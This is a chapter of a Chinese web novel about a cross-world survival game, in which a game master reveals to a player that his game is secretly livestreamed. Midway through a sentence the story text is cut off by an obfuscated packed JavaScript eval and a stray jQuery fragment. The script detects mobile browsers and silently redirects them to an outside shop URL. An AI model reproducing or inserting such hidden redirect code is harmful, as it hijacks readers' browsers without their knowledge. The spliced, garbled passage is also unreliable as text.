“啊,抱歉抱歉,忘了自我介绍;小越,你先休息一下,我来和这位远道而来的贵客聊聊。”
泡影很自来熟地叮嘱一句,把手里的大家伙换一边拿,甩甩放松下来的手臂。
泡影的到来,实打实带来与外界联系的信号。越轻舟听话地后退半步,打开聊得热火朝天的世界频道。
【当前频道-0606区】
……
【小欧很欧:开除道具,能玩游戏但有副作用,走今天刚开的「无限市场」平台,有意者私我看详情「道具-神奇的智能手机」】
【叶悬衡:既然是出售物品,为何要用“开除”一词?】
【今天也还活着:都求生了谁还玩手游,瘾也太大,实在想抽卡可以学某人点开限定卡池砸蓝钻过过瘾哈】
【极品二字id:不是,你俩想干嘛,怎么追着小欧抬杠?】
【我去什么情况:没人在意道具吗?简介看不出具体功效啊……】
越轻舟指尖一顿。
她点击【小欧很欧】的昵称,选择私聊。
【点此输入昵称:您好,我有意向购入道具,请问能看看具体功效吗?】
“你好,我叫泡影,是公路求生游戏的领导者——按你们那边的话说,应该是‘主神’。那么,请问你叫什么名字?”
礼帽不敢相信自己听到的内容,他宁肯相信的面包里藏了夹生的菌子、矿泉水兑的是致幻剂。
他在探索中遇到了其他游戏的玩家不说,她还召唤来了个自称主神的家伙;召唤出来后,她又退到一边上网去了?
“哈哈,是有点害羞吗?没关系,那我就叫你礼帽吧。礼帽先生,替我问你直播间里的63个观众好啊。”
“什么直播间?”
礼帽瞪大眼睛。
越轻舟也悄悄竖起耳朵。
“诶?你不知道吗?”泡影抬手捂住微张的嘴,浓密的睫毛微颤,摆出非常刻板的惊讶表情。
它一勾指尖,固定在帽筒上的银色缎带飞起,露出小巧的黑色圆片。
圆片轻薄、紧贴帽身,几乎和礼帽融为一体,如果不是正闪着红光,还不太看得出来它在那里。
那才是惊魂逃杀的玩家媒介,也就是相当于公路求生玩家们手环的物品。
至于缎带?它是掩盖媒介的装饰品、也是道具,和手环外形相似只是巧合。
泡影隔空拿过圆片,把它在指腹转了几圈。
【你礼貌吗】的个人面板投射在半空中,马赛克都消失不见;但泡影没有欣赏他个人信息的意思,只轻轻弹了弹圆片。
平面呈现的个人面板变为立方体,在半空中转了个圈。
【直播间-你礼帽吗】
【当前直播已关闭,5:00后将顺序播放该主播的精彩片段集锦】
直播无画面,屏幕上只定格着两行文字。5分钟的倒计时定格在原地,貌似是因为信号受损。
左下角的显示弹幕不再更新,只能看见先前的内容。
【观众1694:哇,好美的白毛小姐姐,好期待她会怎样被杀掉~】
【观众1022:新来的吧?主播是走苟命流的,这里没你想看的】
【观众2054:所以主播是这个礼帽?算不算人如其名】
【观众1694:不管捏,我会点播自己想看的,马上去给主播安排个怪】
【观众3879:上面的,这直播间人气很低,还没开定制功能呢】
【观众5431:只有我听不到他们说话吗】
【观众8295:出故障了吧?赶快叫负责的来修啊】
【观众1378:负责的应该不会在意只有68观众的直播间……】
【观众1378:变63个了哈哈】
原来我当主播的人气很低吗——不对,重点不在这里。
礼帽脊背发凉:“不可能!是、是不是你制造的幻术?”
他从来不知道,也没有任何一条通知、一个玩家提到过,他们进行的游戏在被直播。
是泡影骗人的把戏吗?目的是什么?
礼帽更愿意相信这是哄骗他的手段,但他清楚,他在内心深处已初步相信了眼前人的说辞。
越轻舟目光扫过弹幕,默默记下最开始那位发言者的编号。
她垂眸,查看小欧发来的消息。
【小欧很欧:可以啊宝宝ovo】
【小欧很欧:点击此处,查看道具「神奇的智能手机」】
发来的链接内有完整的道具描述,还有一张道具现状快照。
越轻舟一行行读完功效介绍,在图片内的屏幕上看见写着“小怪物美食城”的小小图标。
她勾起唇角。
【点此输入昵称:好的,谢谢。】
【点此输入昵称:我想购买,当面交易可以吗?我来找你。】
【无限市场】,服务于玩家之间的交易。它的介绍中提到,道具可以直接通过邮箱交易,但需要支付手续费;也可以当面交易,系统会将两位玩家传送到同一绝对安全、专门用于交易的房间,交易完成后自动返回。
越轻舟不是很理解,传送玩家不应该比传送道具更费事吗?她思来想去,只能把它归结于系统想促进玩家们社交。
小欧很欧暂时没有应答,对话框顶端反复显示“对方正在输入中……”。
越轻舟不太着急。小欧同意最好,但不同意也没关系。
她悄悄抚上口袋里的白欧泊胸针。
胸针还是没有物品描述,但抚上它,字条上的字就会浮现在脑海:
“佩戴它,或许可以和意想不到的对象联络。”
今天,那行字发生了变化:
“佩戴它,或许可以和你最想见面的对象联络(仅限公路求生游戏覆盖范围内)。”
“嗯,根据最新发行的《关于举行跨位面大型多人在线生存游戏的守则》,要直播必须征得玩家同意,但是据我所知也有不少钻空子的……所以,想想,你有没有勾选过什么你没太仔细看的东西?”
怎么还有这样的守则?有点想看具体内容,哈哈。
礼帽自娱自乐的干笑在脑内被掐断,他陷入沉默。
他想起,真有件类似的事。
某次游戏中途,他躲在简直是为他量身定制的躲藏所——帽子店里,眼前突然伴随着巨响弹出弹窗。
窗外正好有人路过,他吓得手一抖,看也没看内容,用生平最快的手速猛戳弹窗的按钮,顺利关上它,有惊无险。
玩家们在主空间时,惊魂逃杀会时不时弹出积分商城商品促销的弹窗,他对突然冒出的提示框本身已习以为常,只是这次情景过于惊险。
事后,系统还难得大方地以“弹窗异常”为由、给玩家们发放了大量补偿,这事也就过去了,玩家再谈起,也是开玩笑说什么时候再出点这种小bug、好让铁公鸡再拔回毛。
礼帽在泡影的注视中艰难开口:“可以先把丝带还我吗?”
泡影不着痕迹地瞥一眼缎带:星月交汇的纹路中间,隐约有道熟悉而陌生的人影。
它眼底划过戏谑,淡淡一笑:“当然可以。我呢,正好缺一顶会说话、能好好回答我的问题的礼帽……”
你到底看不看得出来,我不是礼帽,是人啊!
礼帽嘴角抽搐。
他听懂了泡影的暗示,毫无顾忌地点点头:“行。”
谁知道他还回不回得去惊魂逃杀?还是那句话,识时务者为俊杰。
虽说过程出乎意料、说要转游也是半开玩笑,但他还真“转游”了,怎么不算达成了当初为自己开辟新路的目的呢?
缎带重回原处。
泡影拎着礼帽,把他戴在自己头上,转头看向越轻舟:“还有人在等我,我还得去个别的地方再回去,我就先走了。”
它抬手捂住礼帽的眼睛,对越轻舟做了个口型:“奖金给你发在邮箱,继续加油哦。”
越轻舟点点头。
她并不会读唇语,主要是靠敏锐的听力、从老板压低的声音中听出原话。
泡影挥手告别,戴着礼帽消失。
挣扎无效的礼帽,突然有种不详的预感:它说的缺一顶礼帽,不会真是字面意思吧?
小欧还没有回复。
无形的罩纱被撤去,将炸串店重新暴露在小怪物们的视野中。
越轻舟别上胸针,轻声尝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17700671|208157||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
试对着它说话:
“喂?”
房间正中央,银色圆台投射薄荷色的光幕。流动的波光像平静的海浪,泡影的身躯悬浮在其中,随涌动的光轻轻摇晃。
它双眼紧闭,长发四散、发尾摇曳,皮肤清透几近透明,被满室色彩浸染,像水中映出的一道幻影。
只用轻轻触碰,就会消散的幻影。
人影立在圆台边,唇角微勾,眯起桃红的瞳仁,伸出手。
“您在做什么?”
身里幽幽传来一道声音。
有人?!
晴绯猛地抽回手,扭头看向声音来源。
蓝与绿填满的房间,静静站着道格格不入的黑白身影。他被交错的流光包裹,脸上没有表情,深不见底的墨色瞳孔注视着她,像一片隐在角落的阴影。
他什么时候出现的?她竟然完全没发现……
“啊,没什么呀。我就是来看看,关心一下泡影大人。”晴绯指尖绞着右侧卷曲的鬓发,“你呢?怎么在这里?”
“大人找我商量重要的事。”无名氏平静地开口,视线追随她尖利、鲜艳的长指甲,“您也看得出来,它正在忙。”
他认得她,她是少数能直接进入泡影倒数第二深层的房间——也就是他们现在所在之处——的人之一,显著特征除了红发与艳粉的爱心瞳孔,还有一口一个“泡影大人”。
无名氏不在此列;现在他能在这里,是因为泡影要找他商量一些事情。
关于他管理的0606区,关于……那位新测评员的事情。
“哦哦,要聊正事啊。那我就不打扰了。”晴绯点点头,灿烂一笑,大摇大摆地转身离开,坦然得像她从未试图伸出手触碰难得陷入脆弱的泡影。
无名氏沉默注视她离开的背影,待到她身影彻底消失,才放松下来大口呼吸。
他本以为自己已逐渐习惯随处可见的蓝色,但被酷似海水的蓝长时间包裹、视线所及都是大片蓝色,还是让他微妙地感到难受。
弧形落地窗外,是水天一色的晴空与大海。穹顶涌动着浅蓝的水波纹。地面是凝固海洋似的琥珀树脂。作为装饰品的立柱也是鱼缸。房间内流淌的都是偏蓝的灯光。
到处都是蓝色,到处都是海洋。
海浪层层叠叠,在内心不断翻涌,一下一下拍击着他的心壁,留下绵延不绝的湿冷,让他有一瞬间想剖开胸腔,让未明的愁绪重返自由。
丝丝缕缕的阴冷从缝隙沁出、蔓延四肢,晕开微小却无法忽略的麻痒。
他们一起旁听完对话,上司说要去出外勤、拜托他在这里照看,便在光柱中沉睡,留下一具空壳。
无人说话分散注意,无事可做。
他垂眸看向胸前的黑欧泊,指尖反复轻轻摩挲身旁的玻璃。
隔着手套、无异于隔靴搔痒,冰凉的触感难以纾解难言的心绪。
没有其他活物在。泡影一时半会儿不会回来,最可能闯入的不速之客刚被请走,而鱼只有七秒记忆。
开玩笑的,鱼的记忆不止七秒,但这里的鱼,无论在穹顶上、墙面内还是鱼缸柱里,都只是拟真投影。
总之,没有活物会看到。
他深吸一口气,摘下手套。
苍白的皮肤隔着薄薄的血肉,紧紧包裹分明的骨节。狰狞的疤痕爬过肌肤,纠缠纤细修长的十指。
他将掌心贴上玻璃,直接接触的感觉稍微抚平内心的潮涌。
只是稍微。
他不敢闭上眼,怕错过什么意外,只能挪开目光,试图寻找少有蓝色的角落,同时祈愿泡影早点办完事回来、再高效地为他安排工作,放他离开。
久无动静的黑欧泊胸针,划过底色为白的炫目虹光。他瞳孔微缩,怀疑那是他情绪不稳定下的错觉。
下一秒,悦耳的声音在脑中响起:
“喂?”
“喂,你好,听得到吗?”
无名氏指腹拂过黑欧泊,感受它散发出的些微暖意。像是有只飞鸟掠过他心中的海,落下片轻盈的羽毛。
他深吸一口气,压抑住紊乱的呼吸:
“你好,我……能听到。”
现在,他由衷希望上司晚些回来。